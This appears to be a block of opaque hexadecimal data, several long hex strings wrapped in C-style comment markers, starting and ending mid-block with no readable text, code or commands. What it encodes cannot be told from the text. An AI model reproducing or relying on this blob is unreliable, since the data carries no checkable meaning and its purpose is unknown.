d846a2c06a15e406dee09ab2812e9485d049f84283dbf4ce2c43e6f9ecfe20c8741672f1275d617c110dd5ea7a51cfa0c576edbec2ad92a7ff73b476dd0172508b586ae8468ee877d9dddf4e95457c9013a5abc353765744c39a43193b3779202e718e5d52ac7092eee1f10bf48f9418b262baee61775d2c564254c59deff9dfc6d20495af2534ea406148959bf40f93bb67ebb37cee51881ddea446a1f9287aeb5cfad468e620c3fbdb2674fb306da06ac699c6bf9999bba08508fbe1df622fa93ca29c3a49fc90cb006ca50ab19aee080b33ecc392f82d2b679e7bf8ee85063bb8ec8697c929cc7a805fc13f03e2aa58ff9ea889af9809f94ba7b2d0772161a1e54f8f99ccadc08587ffa3c549eeb9f1d8ebd838dd4432e5193398d25689cb0be15ca1ef6a8c8663c0035c6ed78f897652fa684a87d7ca0c8d6f12b97d0925f4f8c630eb992a89a914e5ffca198d29e8dd6939b0cd269a74f10bfa44fb365e6c561da003b2977a5910102547db24ef9c091e72c84bbf937cb699dc47c84d5d483bbf6b4145c4d2c9fd1bbabb8ebe5e16610beb8ea8555d10a265a7cf8e7cdeed2c63510c5ab28779c44e2d8649ee2235fa87bc40717d6ba4b6f2450c74b0338cd1f1f8d038e3538fad0f182a3961519f1d19ee5d25ce5e7f0d2e90ca0fa85c6527d2f4cf4cc9cb60d436af9c98e63e0ea83fce4cee4b5b8d02f94d67c4045aacedecc3*/
/*5bd08bb03f068faadfeb0cc0d5d765a008f65496250325c3811497da1c9fc1120148751860a795ee0fc600817823f665c2e2d7876f29b776813db75f0e957a80c042214625a60788ba575d403bebb927d7dc41ca6f31d80cc5e8ebeebb16ec693f76924f617275e937585c261482bd2300c9e414cd2dae97ae547de313dab86912b0a2617d02d90d0f8036b037d38873f4c8f1a23f9b15e96ba49c4c5a2721d1958c21ae2d1962b76896895125bb5fd645602b6a57cf337e737cf3903a01a9637c8a98f5e2e4cbd6e92dceaeb4407f995c76778d9ffcd78feb5b38e87a92f6370633d3b471731cfc222039ab520c3f2f5eae8672e50b2b527cfdaf067348f7f415232ecfe0dfe55b325840a33fdcfee197b7111d6b2a1fb532367cd97a320c22cb7b289118e4dd2f4328b9fffa55923a22663a9d7a2e5cff651899c531da6e76343fdfd151f76dd2a8a08633a7124a825a06a6054a35988d556d54c59c0f03e035942fc9e534ee1844bb1184192fabef5d31cd05904f5accc888783f79421570f820e3e295e00ada51c58de38ea6a93ae287838e452f276673e52247e196cd437e8a8677a862defd45f00c7fe9dbd4e2673f31996584f591492dfd552127810bde9b250e491145b6a9569c89962c86a966f91d2cb7cbea6f9a949413b96240fb2b190b0085dde062c65b7b1f27cdae680db115744f80723d53229ecf3fc87db568aab7c7bead6dfac1c3a87c0cee2b495e2bc5701697e908b3ce398da88f22e748cc7527ba7d18c82da936b12e9d8fac0935e7bde1451a439dea6d5b87911a4de2c48d292c469a702a280d0fd35441bcb1c8a471534766a128202882fa801b70b98d84c317fbfb1aaee9eb9f3431bf4e659beab8ab9ad984f563444b85a181ce46749f955c7b1e8b766aa891ef9f5ac5a762641ab520b3bea05592e0568d6ceda1c35cc9ada8d86083e776afde47c9b7570630d46ff132df9de7075bc9e61832ca1c5109098d96c82a7670d818173672593c485e9b0ffc5854de8fafbd65ee6249806b7c6135b20c39c931e6f4229352aa9a965e0cbad05e3f5df60586b20bce023c6900bc66421e98e308920055e6bffe81d007b1b881e13cc2937adc9288e3fc09492480743ca25c6b06ca7594d344cb7a746a7b8e7e48319b5ea979059b3028f433e990819fc1a39d71d7ff106161cc61bde3ed447b7840ff6f25dd84d8d827d16f555e314777bf806205b70e0d6cd671e85114426d78b508197b8f719cf25e76a22fe3b3577ff530b5cac5b0f267b1bd14a0b621f613fa45e03e27fad98406aa9f12f9b2d19334a094310acd8a56a8e6add806b2a644fef7ef22473402d98eabbe2a6b56b1d58c982969d1cac82ce1e2e5c22d5cb5a5349c0f3cc94f54f6ce8853e387eb31024cb8775ad7119cdd25135ca04325d013cb1ab69a98e7d12075c506220422f0eef1b591a297f40c583320b5c482710ba0f06cd4001fff069baa5e9d8c773f4ddfab926f8ba9e55489909ff442f123936546f8969d394e242793d0bcb97b042b46387ef0b92b99cbb8ee785cddf7b66f254e8930ece921ab16f2933e6f60d79ef32a0fb97e84cab540cdb1aae035f700a1f0397be66426323d88d7a294ef71538b774331bc01116ac6fafd564baec90122317276d76e326e3a6dd9db466e25588787f1f3c09141180a59783c78f97fbdbef0423c0ba64534a24cbfb1c28e5149a7bd6f52de63c7f3a8df85d7c830ab5160518950c1d922994e70d1591dec20a07fa52c0eab7a858031d3adac51fe671b4cee26b49b228e83206b584053950b991e75d2a1d33f3ae69a537742d3c7ac7b29a05e8e00f4d0238c4f87fa685a96fd512d898507ba62b2e82f606ef27ce469471e1af2383dc74b7f7794e94ed2cf897200dc2eac52a658698911b5429ddf934b77cad3d09e30d451a9f18e77e621ac773ec7375d33091b227adfcd9be247d6cd580042ca1104e80f768fddff97db36bc5a72636ebfe9d87a2553d234ca24e1eabd2b688c78c036c1b80e7ddd6e8ac654a1b45d2faa14390d6df9f39ae2dba599a4330c57a0617fd77e51d621edfb6c1ace4bd47024f3af185025928dcc31d46cdb71642258bdf429590bf1e6aa3861c75f0a6fa3980985064d5a733fb1c9b97d21a244552af809b2fd823e381eaf70d2e051cf8a0596da5b46aaafcf16e99aa7aba86ecd1a6dba45deb86f31d361fc5465a31832227affb47d4ae8134d533c72b4f417087dd52f62e17c322ab8063e4c521482eb500773edda336e73b47c97baedcb88af9606e3414bbc93749ca6fba15517bb5bf5f31f9842aefcdfa0603a78ebe050406a24f7a62c62d2d78c1930f1e4bc10e5abfc27232e5067d5e60ea34328a0223838841ae8277e9d6e4e6354307b516f3a70d340a2caa786ce08e7e60f8dd1d759a4b26c2dc5ab2983c6792d27251493899aaf861b896e47d4bb3bf57b1d7c8fb540cdb9ad7be89d8dc4012126fbc5f9244fed5b08d7563af432343d54ad67bed4a1bd467f74569e0b42ffe66a04458a7532d63c764c3a5f9b21ec03abda41b54010d77d5870bfe6d4384cf9bbb911277755dfd22b548f8f7bf07ce67911fd7386031ef2ac3749e2e035f1d8b74b0c93b831229fcfe7d739905e44a0299a507fb7b4cedf00353b7300776d9d49845f38a01b99ef90f7930acee3da0cf5023b6e6c6782f4476b6588095c0ab4a8b7295967d04979beca4b66b33f83604214dc982ab09df1e1236c8472551b0d64579c080a856ca034d76e74b213e55218594922c8006bf5bd47e1c6c1dd8079629a49a2997501514c*/
/*96c82944754e25456e60ed65c312e725ab2246d16bc676be97bc63d1cd5a7b365957283f1122363e5218625b6def188b6ec11cd78a54d04594d6330178284eefee23d882abd274f7c2ad03a7df5e823e2a0292df3dbf17936efee463d6590de3068ddd1faf7e3af0f9d6ca7244e9a2f8ed1edeb9fb27c1dbe2e2a4c4646f8be51b0aec5e187ba0ce5706671c772546e3b6db53800723c1c70a51bd372c489c012ad31a92a62350c8ca0e6d05a300822b04c6c7393807580ad0412891eaf095cb972cf7e7e78eeba42d9476529b467b0f3a13f83d7c6cc4dc44d776d0c2092e8771a8edba8da743d3e692db9755b12be44071896f6ba7baec8b801c4c5185273a021abcbfb44177a49818e13cb91be832576576f7a76aa5633067f57104e57d6e5a2495476a0d088734e871f3aaf8af7ce60ae597154a6ea190888e6ba52bf7a3810bbade2681a0a5b476fdd7af2e9ee7585dcc581bdd62f2f72cae21eb3ac226fdc79593ead800227a4b87d86f150f487e72da5909c37eb2e5f28d2cde6ec3c1afc4a483daee5fb1fdd4b6196c89e5fc5a886db57512b5184959439c2f928a257c79da0ec5fd129502bd7c7915c3aaccfc58d99f30c2753689a62da9c6106312343f5f0261ef4ed6892136a428584771dc24500e20cc77caeb7bb2a64cc6b246420cb562d5bea9a124f589c0b81de11c910409755116035e3a88e648ee1eed415e991272683f9caf2e8abc478cf377768781ac76421a392049f25e6b8a95ab7a328034b634bdc6cea10009abfbe25e67e84a9e3f876bbf42ca26d7619035df6e96c630d3a23c6c8294b93ee961ad55fc49d61dbb1ae1d797470f2ffa6ac42277e886b8e62bf95db9fea3e2696fc83b6dec1ca740f0baa5607b0be07aa0f6af88a8a821698c92cc80ff36695ecfcc888a836a1d93263c19cdec91b2314ad4b0ac390d6e67113efb9806a52e3ee8322b90573744f1cb3a6e090b9456045b42681c8bf11fde51afa84a821da026bde4a5e3c301be829991b07efd17e687e6d3ce9503ac9d8c9db3814975ac6ce431fd87d3baa12892fd6f2a21a06103384425422c1d9f6b7d822ed279bb4c5dce2a7605c287e0e159b87042c30abd53a423ae8bb9907245729c87fd54f126bdd321a9498a6184196cbaf13440e67c3da99044b1ccfb03c71423ac74454df74b9edef53e9cb0c801c7f78e7314d1da4d1e9513cd1b77c1807fe259e96a3c724eca19c05b8c793e65bd8691fb5ac58bd5e30a769a4261623d4c6462fbbb2d6863df42a8cdddb714d545b92d287b282914c1217e43227914f77bfa643f531e54d56466cf2d8c3aef03ac714286f5a42b96f2658b827b0cc9207df491cfe8822ffebfe029f257145c4a3a94e7c8435d16db848f5460e1ed403d7a0e9340d2858bab40d6140a755ba8e2f17e38133ea611bb1b6be9e9e4e4ce30cb2c8786bf6d036e21a18338e91236837409235802d5fe39c45c105b820396e8b2e22b2087b9b08aa7a1f3995b5afe5c66f564042045ddf186fc871d4ec9e1bf1127f3a8bdb4d5e0c4b48bf4240c01173da25ea9fd926cd2d61533951c21a934f2a326b49507a61a2de0ff071f4c48efc7e65cb409b9930f56f4a28bc15cad6d0aff70bc52f1dc9bd45d2bbf2edcabed88942146b582379971a1c33b3a09c970891a780d2d960391b5cccb37837ef7fc26c2d200829d63245aa6fb3ec06458c081362e4a12914e0473fa0d727109b81846cb1ed0c358dc9aba5ceba50393066b2914ed42ba94898cfacb8876fde4cc40ea436ff7dce404ff417d14665239d8af35526ce42f8602237edce9b87cfd77ff53663625d71173cc3a3489b1f8fd27aecf3eb4683e64bac4c07b68665c52a80495e52996ffc3ad49e313ba7e4a2d4db3cfcd83cca17d6cfbe8ef3c80ad75bab0595fcc08d35f119b2a629f99219f0825a20c64431801866a570074b998028df8ad8354f61ebd392896fe5f965fb0221b2c6721c1d0b1a4793126c31434f3cad2f4523aff154e9908f59a339389cefb6ad39834a2e42a00af80bc4caed551e8bc43d4adee0e72dd21d3102ab8b347a9fb327de7c6ac2f4c0c286290c0bd84b2d8e6f9907cb846a2ee102a2feb1833d1158f53d7ac2b525cde352f73b4f1a5d88bac09092eb326ad1f920f454ed4b985e9c200163ebd3fc44e5e8cdded92759e9e42440ccc13715ab1e6775a36db692c6820bcb266c3f00effbcd673a2fb74e815076802d01b99d5b87a78a9e7c2d622939b01ed3abec7188f511cc2f6640c1dda281183bae515814d313b3d9f4a5aababf7d820842aeccaafa80f4ea5ecb68d11a7e437efcb304cfd16fae876c26cc3393bc5c1cd1afe27f8d272de9701070de7f86df7716654e1bd19b347d4b450a848dfe1b04a44d9d6988a2b85e32f3758517d9fb28bffdfbd0db10bc8e8063dba2374880214277829907cda0084d88bad616f64b2bd5330aa48e6f1d4e01f8ee52166219b550553e10926084a58a49115a1630097b97d23fbb3c4d49e31c2206a73f6473cbde6ffcf5c61fa397b096443d51f91350a8d6c5a40e9f5c65168002a80bc7033a70236bcda657ac135fd5f8a3ce211b02b6ffbc0f5264703101b3e3dce39b03175a56df4c8ed9b526ee11de0aa9fd5f2308e974c4c17c429f36f53732159db99fe8505b92ede087d284d1c127a42fdde2813abb2a1224c1f684b2e50a4ee5c2480d1087e2dc9fbc131c4c81f110d56744fbc46ff3deb9e31726b55428d49f667ffffcdf443f9acce9b73115a64c72a7963536ebce865289742efff0ea8aadb2b0aa1141d84272f1c21d9*/
/*7a2a4bb5f86a1a229e352a0ac6b842d6eb071f6f6714f2d179c082f4097eba8caa0cea2c9a0e00801b8219f72dc182d84ec6d886b6d63b2e9083d8eef61f744620372654553572d3be4543f2c03552ebb2293c0f84b5f86a9ad4602dffdcf6fd9a76c6c9f6dad52a52b9bef01e82f8e4c4fc300ca03a1ec0142d8584e2d5af801e1bb7eb608252966c7ac6f8f920a184ca09d3267c99e856744c035631bcb8d2006fc200ff909fe76f6e00afbb08788a45f04f86745298dd7e3f2ffd553bf5555e36df202d26f2582724766643c8d85cc6d79f181ca412b8ed85b5528e211215c944f0be6e9fed6de063421dc4a88b5d5d1ea839d75f25007c5b532ff0f68689b3007cb29354b08c37870dda11ca480735d70e2cf75f8b80a92add11d1187b445e914b5cc11be7025f6bd8e2a136a44e97c87d657c4037878efdd73c696618adb88f3a3aa8ab0173e0cb6750799b1d4dbf3a582a30092fc136daf84ac481e2433d645ffeb76d198385451da153912e72d08ac9e0fa2f89e69b49668b317ecfa0856ba64ae58479c40c4c97589295bcaf308e7d5767cf9537510edb6584b4f96f218b9367260d6cc014700b84d175089ffba57ac39bbff14ad670899f0fc0bf3d0331bc316006a291649dbda461609d841324e565da77937e76ee92b621adbe1b5ab72f4643a7fc765bc4f1f39fcce357db70571016fbc3b143cce2118e0713e7ffe34aa289f2028157d831933e7066a3a8ec6f835bf6654a4258790b3e1ba78ff2e052a04e38833c07e014f3ff145bd5d2f46a6df17b0f1ceef1fc62defad3bc9040179b186aa125270799e299fff20375a6970046cc4db5e918928a3b1afad25aadd837fbe82372522b190996ca99c8d52438af8b322ba51f80c603c70f2346b7ecbceff462f3aec9f50738e6470e398d1d8221d006a6bc7df65de088824745550b09b9618e0e60411a64a57944f6cd9bfe7c16782314c342eb1a0b3f063188bd9ecde75a92a7f8b10bb4c92215dd2bfc6c40c9c8f50a2b184c376525bf9ef19b0ae8eac2403574b5df40e5c44acf2d775bb67916a50caf061ec386f0ad9cbf19788770e7bd11d69ff5f07e54129770a81d86c42054441c76448264b234ac52225cfdfea5feb2ca53c0927f4e9332533483a60a01b750d72dc30fdf5db56016e4e7b4bac5ee98bd4d30e3654d7930624cbab70cf6a0ce147b17c86b2ff332b1c4d1669646882f15bfc78f5cf83124058254124e71196a325490b99fb1221a49dd502f22205ded882618e3822bfd3feea42b0050ffabd3fdd5bd19ae70509f0b62a991e68e7a70a9d0e076f98774f9faf9529a3e9e8b593173d5f4d66ec6a8be3a7b413451818b5cc68e7eaf4cc356b1dfd974c768330d835403bc744a800deeadd56ce6bba459e3704f9b13afec3007c3a3329fb5adda60cd4127628c9a3cbb184d7c938c64c806ae3b41a708211dc2ca54d68098ac35b484453279ab079f50d84fcad0fd85497f118a885402f5544dff6b5db7ebd93aa557d31ddc44251665a87f652d9b0b94066f7c306c27fc080a3beb8ae97866bc0a4068c80ac63df8759dca4b259e877f083529a10e8477449531d5b66b36e8cb688faf497cfe0a6a6cb8b9b57b5cb1ff8719993eb222bcfa83510232516cc649c49b69be32d8150f774b7d412bbe8a1921dd59b271d4e25651063c8db7ab110587a9ab6f40019770b2ec15ee75558f7200f7dc6323233bd0a15c280e627a9b5183a83977b32d0a60e1269a7ee932c1ffda9dc06ca9be813350f9692147af390bebaed14f1ba00336d03d62a7daaa100a16f02d48a1bbc26e656e9a6275bc956e441134235577375be7e71b63fa423d7e222e5c38b7726b4eb78b33318219f36ac5c09844161479af00886237c1d77012d9138206a16747e1e97ea4c89636083c66b6bbb8e8324ebe2998ca610f958e3fa26adb5f36c007e1bf9d6e30bf47c5b5ede1f3a3eeb0e06749ad467ea9e7abc1b558d33ac6d83ad317a0530023bd195d10b80ce7317bbee55c72fab26c091bcc1f48a61a26ea4852a4fed77e0363487b93752408f7b23bdbfb7e11cf71f2109e5da0ba8aa56892ce1a39d66bdf753c9edcee038b45bcc8675e132ef6b5f70c6ce0f6e345212bd8aca0150c78688a684d9a8f7ec19539b42f7bf5f318b6ba22a8735c59368e9909560d4aae7b228d0ce2d73149e1f0e236526e5f50258fc7285034ffc564f8a436148b77e8ff517cb800362b793677381f5ffae9305bee1ba71fdb7d471e8b2d2ec24322feacb6ebfdccfe7f31674f6ae5ec0c5e6aa30c292416ffeae122dedc68e2efd1d41f8ef65d094171dbb71a321a64a15b69c7ed38879b0a5297e49354a6b8f1640e11b61c6063804753acab0551449e9e9e5ae29b91d8d6c1606e46688e41732b5ea72d36549e1906f26d60829182ab63d34f92679eff8d97e383dec226502be7bfbdb51202f98c22b69087ce3d065b29f68a6d6e06103dceae42000e6555f96740b98ac23b44ebf6c1ef0dac7cf58d36047c1ec1c1d65b90df17c58d24e3a4e6c4349019600be6dada1a18fe7722bdf6d3f6335e035c1d1c1bc92e3a94fc12cf88779493edc390a13bfdb878f34b61a92357379831c2675750e7b3a63116d291481bc0df74ee4adcc96893e7661ba7da601248f2f765b9e3bebce2e236a2452398a81ad1b71f580d53fb165ee3165c86de7eac17f80e61639f558008cff8a2ec60691d774661719e03a2da721b11b7a137fe17badfa87acde4f4c2f029004502af22b2975f9919b7d76bdc2548263b2ba092fc59890553d09a12b81f8c5294*/
/*dd4856771e29c6ce9ea5c64e4335841e73398af2b16f90c536fbbc5666b191a2a662ec0a46a61d2f751ae02c9089609da1c97c5e74ab2978af6fcee9f106c659b4111a31d0c42414c331c6c5c96375b96cf9065e4f654d18e7b10da0b01689bc76a7ab16b2b16d21bc4d3c6c2b8f12643fa65e76390693433e85e719ce69f222bde4c916a974870ff9b9bb95ff92f6334f7236e951071129100e60e598ea492f86c64fc9b3c595c78a4e649bf3bc5a45cf17c8304fefba89ca5a545bf1a0a038c9ba56cc4bf15b25b3f26c1b8697e2b8a89661f55886875dbe7c86c05c7d8adb43310020a629a7d923231b35b2d54f1a9a37adb353867fcd6fd022be243973069edf8c9fd6bcace9c84214b853f090bad55b4ed30640b7deed853a93d4f3bf7561d3d6215d8deeb07bbc4779e46d14273682f4404649e00b8634c84a742052d208b136c8729729e46fc36e303491421db788b54616c6150ab00c8badbc17dd8cab776549f97c256cd500e1de568cd75b9738d6687a6ab4cc7a6ed2cc9d941a6cfdc29969f5ddea8f9b08c031b048f6daae72cc6acd1553a4f10e652ca541371d6a5334343d1a6f6ed3716c4594d3a95e4bda80a3411604b57a8ca3b38cbadbbe2c538adbd41b55522f3b38b289738ba780d22fc88861a9f4baea44f25d36f7cf2e8b3372d1d2dbe88f720c2600d2efa3b501ee4521f27af02659287ff5af158fecd9f9b84424d284e9f9900c55590d089b3da7953361c963d3b3455d9ddfb9d4a4c7efae1b86a3b7e7e5a1a66c8e63c46439227814d606186e74d2ce353fbdeefacff02a47c55144c3eacb9eda9104019adf459567204df1a60b79d9f320cff9c52dee272f1cfadf3fcb70434bc4bfce6ba93067cc3b1149cdd6b6c4eda2d6aff7d23091f70d015d907198b620e702c5d4a927bebaae8d8cfdd64c2f7dce866f38c08ebe10cd8578a5403c52d3e6f69c79380799c4b01f823e319bfc2547e0942b0f811c9eccbae1e26ffaa3bb3507db8042db2b27b9de24b290074b071be0a6d57699fec9ae00a05b9244a7a43452ed7d5b7fa7fccdd7d60cc8907a1ba31b72228134b8f99a7cdd639614d3a77562405013b8a268007914900421b59fe13784e9e64d8bedbd4a9368bf695441cdccb4f4835706b6b79721e71e96e8394df30857cde54e4cb031098a584cdd2ac9593d8438bc1bde48155ac5c78e7c35b9ba7e5856e01ab1970ea6838b9a94c8e8531ac81ebcb47054f64a31b54dff7b8ba61e9b66bb301e7d25ed086aa25be53e143ce4eee07b1eae76cafdeb63daec75561beac4f775c129bc423d7ee63342d41104de4ab0fdd2414046bae2932f7ab42b9a51e23d5a0ddf8a1ee14e59ac4240d7ff4b64dd662df739f4859313f61cc7f72d692be5088db71e8770206fa6f651fa3f1ae44c6043dba2feaa78d082a93baab8dde860dbab59493c29d7026edcfab80e5ca57b6e8922c18d074b138d39d8bb0f2f356b90fa1a37dce5bea127cd68ee9dbe823bdf0e61e1f5de77ce81e4b5e982319900415efd2de70ce51e1b22c7b87e76b56d691a7d544bbc8351969e51ef1911c7390652014d3fc324be529ad960474266c78282c0975524ca3145916293206af135c196d3a50e0f0a080664e4d904fbae068bf883f98f93213f1943ea9eb53ba116b28afed73b41bd77846e4e2c239754df4dc3fbbb0a9046f0ce09e776fa2a7e15cf98eae5b1496526daf88fd6350d3133e402171e93f1eed8ae61887c25c3db24a9b0fbfecf372972b75ff7427651c263409a2bf91f9e31f0b543af1c3fbe21b6a50f0893935002306154d86b0fdb2d2a1f94109ca193a8b0e30da3ba643a683722494255a6f237a60325b9e9f1017aaba93394fb126432510f73731a427d666ca5558067face54ee0d6ee7c29ffeb5534edc7b19a349edbbd337d58c9ec81295f7233baf25ca8fd36b02be3109855c0f14268a00b75bc8acceb46f13e38db7336e649f1fa12d7b78f176907ca7bb7a218e7e5d35d89c2a74f150e8164c37c75a028b40b4bd1afb37001715f4ca8e5b7b16daccf69379ebe6b95a633e3f571b8838715c29bea7ac749de07952a48e8e9c583c98cb317414081b7b9f7cb7f2dcee60d9e15562b6767c24b3e2c0ad0db976d8b38054117b56a172889885baf3987ac0a91145ee492fd4bb6aa9fbacc45925fa9fc8a5cfffdd0eed6bc02eff67368a672161221b3f7f9273b06f78ec832db20c8f959a9a169b874bd69011bd3115994dee87179d4902695fe13160c2ee0975d41d7ce043e81d7f1d3f278b06215bafebe335ba4197cf4ffd6934540de4777b24c5b0453df42fcec45b5cc811a4a89838d5cb62a0c9ebaaad2cee12ec32669c98c0b05ebdbd59319eae865b01ebb6be02de0dfec7b953566d796cd5fb4696e40bb3e019fdd0d22f7601f9b5f1001bf8327d250f64dee5966c301fefa47d2a91c3f323dc864114a9594c49b1d1c5e4a97ea63535f1026f5ff2ee5aac4617ad55d74558df0ff278a4daef0535558b6ca51f323afd0ea65d30257210cb24d1915c5ecb40efafa22c24f5551829d0fb12728e0fb3c459050cbaa98d588ad94b36eb8769d2c03dbace9fe85e8f7ae680dfe40caba57743178a14635a7b8c7c3c9c5c34b19b9da676a982d4385b878daa9ca01c4936f3981825328972d1b5a42904b3763d0269c249907c4bf5b0f11984f0d88adc4c8d636ef82d111ef31dc44fd423f502ef2f6f561542a00560ce84cda9a754760b07bfc6146ef7a4d5fd616da05860768c688c28ac3fc88bdb7ad8dbd30b47efa0923ae516759af79a1f79*/
/*7e51565ea745ed615320d9ca387f9b164c3c365a457c958a0e057c46d8e68e28823b0ef0d1328634fee7efc9c3f3bd6a5e283a2b7bf6a36bd91ae215969693ce6f5b0eca8a673c369f72bc60cd6cdb860ccfcbb6e356bace6f607f84fc646dd6330584a91c55a1023ef361377d1932722b88477d361d2d46b4bcec676734fa37e67302dc1bbc7cbebca89c08581ff0361dd299440f68697345ac4a553fb0d5b46fdb55a25292ca41e87f8352bf0d506d6b869b36e38154ea61a597bbcce690d74c8ec420208d7d04bb964fedd6f9436d9234d91dd7687d2bed12159ef694d26387d7de2b27a346c1256d0f2102e410f9e978cb1ba4ca8f37ce767542cd9266590d6f84a69c0b80dc5d03aad6b225544aaa6ac8580341c183e9345027c3cfc647a55fd547d5a7cdcea89e3bf34d655e791f26a4af20d1266fa21c7ef1f9e6d654f132911bdf10829d499e9f03f7f52fa43a4f028f8204bfef3d0b011a771d3584ae2a97db83331e12eecff7eb9d7812913a4daf2fd5d0c21245b292d11499bed55dedec33c6d0a9326f4c2e46d9e8b61f0ba5679732228a9242596dc5afb81fff5ef64e3b47a681b0eeac0d6f47097662871c3133bb331d396c7da53e8d86a5f5e84e3f9cc485c19dd8dc8049403818ec2fa25b7c21049e2797353a5c323786fee8ef01c6383c7b10a8b0ebb2028f53e0dd24db8b0db4700180eb6eaa36b8bf0d84a781466dd88e9fa4a2c20081c9a98ce446fbc4ede0a53843c2a6a911b956b4f0ecbf0831d06a5cb7f891396759c517862b63750d974a331f9d1b50d50e42423bbe1faea1f0cad37d7f045dcd60397399b97ecddf893af0e1f33e004524b324d51e4b6079985a92cc02aac635a2e1790ec02dd1371e9fa524d06893d86cdd9df8224179dbfd15a10c4a51f0bcc036c56d13637b3d1326e8482fdaaa43dcc853bc6369725ecbf4f873f9fc1fabd941d0a796e7be43ab3da382e8a45ab456b5e42a90a68de17cbb27856a92ed1f64634c09d855d20931121aa09f105ddccdcde6a9222e718e2d73880ba8fd359137b12a542f6d2064fd3db0d2bd2e8af7ca771af703f9edd547ba592a9d17ce53546377fa32a409dd0863392df9357227e4b3e52d38ea7b2f3aae70d995980486bb85a52f96a24771079f3e7d9e3b1aa568e9852c0b1bd745a408cdfe29570868ef83ea3f6876fce509770100c36b84cd8d2b73e87c254a7feaf56ebf5db025549c3f872ce49fd151469dff415c7d42f072561f62a4e9e9468ccc25f7b7ddd21e1a3ae19f5e8fa95d703b9b0a999d6d3ab0f6961551b3bacaae296089fd2547824ba8f708ccb5cc8fb1cb1b37527d87f2498f874d3b0646857430b4137446e6725b55846ecbb012de0b3e3fb612956f7498a14450883e196c033cd8136487750a052d84aea5cae94b8968d6a98b0680d89310d1b1d4df43fc3a3477ca81fac2172ac367e4ecfb9d816a7fb75bf7acb46b4e20478128228f1c02c07096905a6b2a98139f1dc52f07cada99805b438268b4d51a24c69bdc8542bcab07c409f95d261fa94d3ff7a0f3a461fbcbc0372f83e2f98c10cd450439150dafe3ce87f09e0411b8dbed42173d797e3614c17abbac242befcef20a7c3c67852b4c89564200934123532ba1e0712ce37141d4660bdbef09c85d260e9549b7254960ed9efd73096b9692ba1f56211ca43d614f1490e3bbe7f705166fcb912395da9cbe2a8733d9927595d80f0ea8867475c9534f2c2c31c4f654d4adc2037a92aecf537539a1974fedb0283b4295187efe3031aa23ddcca0a26dcb263c3a50e8006b81204991b9ab76fae66b3c15fccc198a2c3623b385e34b432f2fd6d9d968c2104b124f2806f6d20c8cec87c50ea8ba193949f2a17bffce0422ed7605b1873897a741faa2a18f274d9f69fd4f4f4bfe57b7c8142dd7bde8245d09c286b086cd731d176f3dd2d6a348bd7d5c8f34f5e6a8029ba105b9af106d610a9d0c7fbd714a2fb66b24e988cb7cd3505b7fa5e683d32128a74254259138853d1180d60c281b0f35d4bb3b1ccf94592350503e40a43341cd8ff344e34034c5e88d06c2e450c272893ff87c4b2ace312f279a3acc3c9e2a3eb8a2d4dfb3e64b006456a42ca3cdcc613bf23df2a8a32274c77e608cc445efd18fccab7468acbcbbe29d13f2778e8ac24642efc9958f0c8ade192de6e9193478140461cc2d317c9b799d85241b6271e8bcbd7b86a8787b8f3157f6f4355d28edfd04d5c875fb3ea352a637bfa256d9c936602508697f42abed285f12a00bc5d8e259ef8fc21e0f4b165380e6ca49077d99e620a317b1c692ccc6b8ac7ac828fbfba9a78794909d4bf261b060e95fcc10ecc2ed4f29c24f0c86b90d85a5e1694634fcf3c91ecd13399ef4cb2b54b7e8102925350ef842bdb6e6e0ec9d5443214ea981e45c72d6f4cf246d4338a910204eb0eeae4299b6c2aec86d390e7e3f545bbe26b811626d1ee431febd91a50bc97a8f81f381c8f985de6eabfe55e064a4537d2704c851f541a72aa99327ccff394b41311abeaf90faf2db010169981961ee582398c4645a696e8224d341c2638b9099430d961c770f77ed52bbc0cf735ec372ed1954f686f83749db190d8d10bcbd70cfef621ea832dd78dc87ffc7e0c4b9bc23d435baca871f58cc08f173077a5d669adbf71eeadd7689f3c68ea3d0a22d69656869c309fd6b56b60c0a04b881fc47c03d26dc818aa1efc760619ba67511f201539c8dd1c384da035ebca3cf2f07dbc86c4e583f42146636884d233cbfb4c9d772ce1aed0575f0d1eb0b0c5c59663955c051f76c*/
/*003c94df1ff6f367c72301f3daf93532c62e0f196b321481ed2d5ee7c83ad23aac0d2ab2897b16f2713c10e6e010031ea0a29724153af0da2fecbd48d587b33b0d838839315a01199e8a93751142e95b61f13c2badbf14e7716d1ba5ae30f0329b2306adb832efdd1b322698a4bb3922a90554c24f82d0240a89ade8840240a6a7519701eaec6783f8ede035b87d3170ada78c2204f0823db787b66ab3f3c0805b69525edecc327a76b142a03d8566fdef1bc3ca66d6c54913a3876062b99ec0e20ca5e38af48ade2313aa6abde7285e189347774af4cf0a9e581436d5536912433a21b9983cc20490d19ac6ec637c820f2d1c0c2c8106dd58108be4af0c4e63765d689bcf87050ad9a4fe48bd604cd37c00d9cfb6f4baef03087e0c4332194a86c0235261489b01c1079bd26744b3d7deca88e3f479b243f7b30112af5358f4c1df8b709021e4dfb11f584540d3c1ed372130e71123b083a27c70b8fcf3db27db5bbac4166c8021e753f84ceb66770974d61ec15c84c1be21971d84619fab978c34449cc38a1c07cc8c87216849982649cdf69edf2449df14d48bb8dc177e11cc738794a23a87a2db9026f3ddcf4dcda8c596305dc366a02b1f4c857391084cb2a41c05b06d74d0876a4c12076c70e864624f97901e86c1b98979c1ed7067a9d5e5c278a44763b7567c1e7790690380e638049dbf7dcccd7156d214dd2667dcaa4ad5f24e82c93e54acbc3db011ccc19f9f4cf63d73504db65afd8f645e049d7d6ac5f0d55fc73361b1aef368cabc70cbe87f8e1ba1672782c5c7674a44aaa6a6cce017fb93e027a24ff113b09f51cd0ea18618598510766b9dde5cdd6d50d3862cdc6b4e5d67398fb37e3ec25ae973956a2786b94021e26b756de750abb0dc80854a54cbe5a6840468c951cee9e8c6c960b1ae0f4571b1506baafad3574ecbc2dfe34cffec747006848895545212518c701d129721d5f9a209423db87f2a04bbb20b754215ac0bb8f54036d1ce5a807f9f79707d5dbbc4937014b58b978b872f9eb79e75a0768c1e68f55e830b137866fe4c6bd2a8a22a787d8484a7be89e1eb96e9a7c99c5c16f6f3f4a2060b595e587dd5682e0b5c4fd878bc1884912b8ac396ef40450bb60a3b19c4f3d6608bd7466fffcacd7b3fc8b825cda984e2421c4d7308db685fc903b425301e3e555c646f913762e7d1cd43639783f1b3bcc92fe7e08b2544671344a8735733332e71088dc9c6a4e56f0b3c28bbbf91111a2a4be963d3fc95890de25316771d91ff13a54ca30819a6966f732bb2f98cb46fee1b394c09cc550f4e9b38d264a3dea390d1f327c5758f80baa508ed580211127e14ea2c943aa1b735d1b422c22a3ddcd4a8d5dafbfffd17b0e48983452873adbe104ee2dc3b42b840c72fa136b38e6c67